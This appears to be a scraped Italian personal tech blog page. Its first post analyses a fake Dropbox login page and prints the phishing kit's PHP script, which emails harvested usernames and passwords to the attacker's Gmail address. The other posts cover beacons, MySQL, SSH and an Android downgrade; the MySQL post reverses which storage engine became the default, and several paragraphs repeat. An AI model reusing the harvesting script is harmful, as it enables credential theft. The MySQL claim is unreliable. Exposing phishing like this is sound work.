Oggi mi e' arrivata una mail da una persona che non conosco di persona e che mi aveva condiviso un file su GDocs
da una breve ricerca ho visto che questa persona e' collegata ad un gruppo sui Genesis su Facebook a cui sono iscritto e quindi ho cliccato sul link
Mi si e' aperta questa finestra
Dropbox ??? Che storia e' mai questa ??? Non era GDocs??
E poi guardo la Url ?? non corrisponde a server di Dropbox ma ad un servizio spagnolo (non capisco bene lo spagnolo ma non e' un servizio cloud di file sharing
Provo allora ad andare indietro di una directory su http://surynorte.cl/lee/ ed ecco la gradita sorpresa
Una directory di cui si puo' fare il listing con un file drop.zip troppo invitante per non cliccarci sopra. Lo scarico in locale e questa e' la struttura
il tempo si aprire il file submit.php ed ecco il contenuto
-----------------------------------
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$time = date("m-d-Y g:i:a");
$msg = "---------------------------------------------------------------------------\n";
$msg .= "Dropbox Login Info by Abbeymilli\n";
$msg .= "---------------------------------------------------------------------------\n";
$msg .= "Email : ".$_POST['username']."\n";
$msg .= "Password : ".$_POST['password']."\n";
$msg .= "---------------------------------------------------------------------------\n";
$msg .= "Sent from $ip on $time\n";
$msg .= "---------------------------------------------------------------------------\n";
$to = "kelvinpeter270@gmail.com,kelvinpeter270@gmail.com";
$subject = "Chi Lee Update $ip";
$from = "From: Dropbox<newsupdate@servisdropbox.com>";
mail($to,$subject,$msg,$from);
header("Location: http://www.dropbox.com");
?>
-----------------------------------
in pratica lo script invia le credenziali richieste (username e password) ad una mail. Un vero e proprio phishing (seppure un po' dilettantesco)
A chi lo segnalo questo abuso adesso?????
a proposito: chiunque tu sia signor kelvinpeter270@gmail.com, a questo giro non mi hai preso ;>
domenica 7 dicembre 2014
venerdì 5 dicembre 2014
Estimote Virtual Beacon
Nell'applicazione Estimote per cellulari e' disponibile anche la funzione Virtual Beacon
Il problema e' che, usando gli esempi di Estimote, si riescono a visualizzare i beacon fisici e non il virtual beacon
il problema risiede nel fatto che i beacon fisici Estimote hanno un uuid B9407F30-F5F8-466E-AFF9-25556B57FE6D mentre i virtual beacon hanno un uuid 8492E75F-4FD6-469D-B132-043FE94921D8
Modificando questo parametro e' possibile usare i virtual beacon per gli esempi di Estimote
MYIsam vs InnoDB
Recentemente e' stato deciso un aggiornamento di un server interno basato su una vetusta Ubuntu 10.10 per passare ad una macchina e ad una distribuzione piu' recente
Nella migrazione un applicativo proprietario (per altro scritto in Java) basato su MySql ha iniziato a dare improvvisamente problemi con una lentezza delle query (con tempi di risposta aumentati da 10 a 100 volte)
Dopo un po' di navigazione a vuoto per fortuna lo sviluppatore ha fornito l'indicazione corretta
bisogna impostare il motore dati di Mysql da InnoDB a MyIsam
con il tempo (e piu' precisamente da Ubuntu 12.04) le tabelle di default sono passate da InnoDB a MyIsam
In generale riprendendo dal sito MySql le MyIsam sono piu' performanti nelle SELECT (l'applicativo in uso nel server invece effettua circa 40 INSERT al secondo e solo sporadiche select)
per vedere il tipo di motore associato ad una tabella si puo' usare la seguente query
SELECT TABLE_NAME, ENGINE FROM information_schema.TABLES where TABLE_SCHEMA = 'xxxxxxx';
Per convertire una tabella di InnoDB a MyIsam si puo' usare invece il comando
ALTER TABLE tablename ENGINE=MYISAM;
Una volta effettuata la modifica il programma e' ritornato a lavorare in modo corretto
Un altro aspetto non trascurabile di differenze tra InnoDB e MyIsam e' che le InnoDB di fatto non sono corruttibili. Se con MYIsam era necessario il comando
mysqlcheck --repair --all-databases -u root -p
adesso in caso di uso InnoDB si mostra l'avviso "The storage engine for the table doesn't support repair"
Nella migrazione un applicativo proprietario (per altro scritto in Java) basato su MySql ha iniziato a dare improvvisamente problemi con una lentezza delle query (con tempi di risposta aumentati da 10 a 100 volte)
Dopo un po' di navigazione a vuoto per fortuna lo sviluppatore ha fornito l'indicazione corretta
bisogna impostare il motore dati di Mysql da InnoDB a MyIsam
con il tempo (e piu' precisamente da Ubuntu 12.04) le tabelle di default sono passate da InnoDB a MyIsam
In generale riprendendo dal sito MySql le MyIsam sono piu' performanti nelle SELECT (l'applicativo in uso nel server invece effettua circa 40 INSERT al secondo e solo sporadiche select)
per vedere il tipo di motore associato ad una tabella si puo' usare la seguente query
SELECT TABLE_NAME, ENGINE FROM information_schema.TABLES where TABLE_SCHEMA = 'xxxxxxx';
Per convertire una tabella di InnoDB a MyIsam si puo' usare invece il comando
Una volta effettuata la modifica il programma e' ritornato a lavorare in modo corretto
Un altro aspetto non trascurabile di differenze tra InnoDB e MyIsam e' che le InnoDB di fatto non sono corruttibili. Se con MYIsam era necessario il comando
mysqlcheck --repair --all-databases -u root -p
adesso in caso di uso InnoDB si mostra l'avviso "The storage engine for the table doesn't support repair"
giovedì 4 dicembre 2014
SSH su TIM Mobile
dopo un po' di ricerche su Internet ho trovato che questo malfunzionamento era segnalato da tempo su ADSL Telecom e la soluzione suggerita era di aggiungere il parametro ServerAliasInterval come segue
ssh user@host -o ServerAliveInterval=15
l'indicazione e' risultata valida anche per le connessioni mobile per cui adesso riesco ad usare SSH con TIM senza disconnessioni
Un quarto d'ora di celebrita' (Maratona Firenze 2014)
venerdì 28 novembre 2014
Da Android Lollipop a Kitkat su Nexus 7 2012
A seguito dell'uscita di Android 5 (Lollipop) ho aggiornato il sistema tramite OTA piu' che altro per curiosita' di vedere il nuovo sistema operativo (peraltro l'OTA per Nexus 7 2012 e' stata una delle prime ad essere disponibili)
Con mio grande disappunto mi sono trovato ad avere un sistema decisamente rallentato con ritardi di qualche secondo anche nell'eseguire. Il malfunzionamento era segnalato da altri utenti e sono usciti anche dei tutorials (vedi qui) per tentare di risolvere il problema ....per me non hanno avuto successo
L'unica soluzione e' stata quella di tornare indietro a KitKat
Per fare cio' si deve prima scaricare la factory release dal Google (per Nexus 7 2012 Wifi e' (KTU84P)
Si scompatta il pacchetto e si avvia il tablet mediante la combinazione Vol -/Acc
A questo punto si puo' lanciare il comando ./flash-all.sh (o flash-all.bat); verra' riconosciuto il devices
viene richiesto l'unlock del bootloader, si conferma mediante il tasto Acc
a questo punto inizia l'installazione di KitKat
qualche minuto ed il tablet torna una macchina usabile
Con mio grande disappunto mi sono trovato ad avere un sistema decisamente rallentato con ritardi di qualche secondo anche nell'eseguire. Il malfunzionamento era segnalato da altri utenti e sono usciti anche dei tutorials (vedi qui) per tentare di risolvere il problema ....per me non hanno avuto successo
L'unica soluzione e' stata quella di tornare indietro a KitKat
Per fare cio' si deve prima scaricare la factory release dal Google (per Nexus 7 2012 Wifi e' (KTU84P)
Si scompatta il pacchetto e si avvia il tablet mediante la combinazione Vol -/Acc
A questo punto si puo' lanciare il comando ./flash-all.sh (o flash-all.bat); verra' riconosciuto il devices
viene richiesto l'unlock del bootloader, si conferma mediante il tasto Acc
a questo punto inizia l'installazione di KitKat
qualche minuto ed il tablet torna una macchina usabile
giovedì 27 novembre 2014
Debugging Mysql
In alcuni casi c'e' la necessita' di effettuare debugging su Mysql, in particolare quando si ha a che fare con una applicazione proprietaria che scrive sul database e non se ne conoscono le specifiche
Per tracciare il lavoro di Mysql si puo' attivare il log delle query; cio' puo' essere fatto anche senza stoppare il servizio entrando in shell con il comando (questi comandi sono eseguibili solo da amministratore di MySql)
mysql -u root -p
e digitando
SET GLOBAL general_log = 'ON';
SET GLOBAL slow_query_log = 'ON';
Per tracciare il lavoro di Mysql si puo' attivare il log delle query; cio' puo' essere fatto anche senza stoppare il servizio entrando in shell con il comando (questi comandi sono eseguibili solo da amministratore di MySql)
mysql -u root -p
e digitando
SET GLOBAL general_log = 'ON';
fatto cio' sara' creato il file di log (normalmente in /var/lib/mysql/)
nel caso che mi e' capitato e' stato osservato il database ha effettuato circa 4500 queries in 105 secondi (poco meno di 43 queries al secondo)
sospettando un carico eccessivo del db ho attivato il log delle query che richiedono tempo per essere eseguite in modo da vedere se ci fosse una coda di lavoro
Sempre dalla shell di mysql questa funzione si puo' attivare con
SET GLOBAL slow_query_log = 'ON';
(di default la lunghezza di una query lunga e' settata a 10 secondi su Ubuntu, si puo osservare con il comando "show variables like 'long_query_time';")
per modificare il limite della query lunga, per esempio a 50 ms
set global long_query_time = 0.05;
per leggere il file delle slow query puo' essere utile il comando mysqldumpslow
per modificare il limite della query lunga, per esempio a 50 ms
set global long_query_time = 0.05;
per leggere il file delle slow query puo' essere utile il comando mysqldumpslow
Reading mysql slow query log from Ubuntu-1404-trusty-64-minimal-slow.log
Count: 1 Time=11.38s (11s) Lock=0.00s (0s) Rows=9553.0 (9553), xxxxx[xxxxxx]@localhost
SELECT * FROM `xxxxxxxx`.`xxxxxxxxxxxx`
che tradotto indica che la query e' stata eseguita una sola volta (Count 1) con un tempo medio di 11.38 secondi (il tempo tra parentesi e' il tempo cumulato nel caso in cui il count fosse maggiore di 1) e che ha richiesto 9553 righe
Iscriviti a:
Post (Atom)
Debugger integrato ESP32S3
Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede nell'ID USB della porta Jtag. Nel modulo...
-
In questo post viene indicato come creare uno scatterplot dinamico basato da dati ripresi da un file csv (nel dettaglio il file csv e' c...
-
Questo post e' a seguito di quanto gia' visto nella precedente prova Lo scopo e' sempre il solito: creare un sistema che permet...
-
La scheda ESP32-2432S028R monta un Esp Dev Module con uno schermo TFT a driver ILI9341 di 320x240 pixels 16 bit colore.Il sito di riferiment...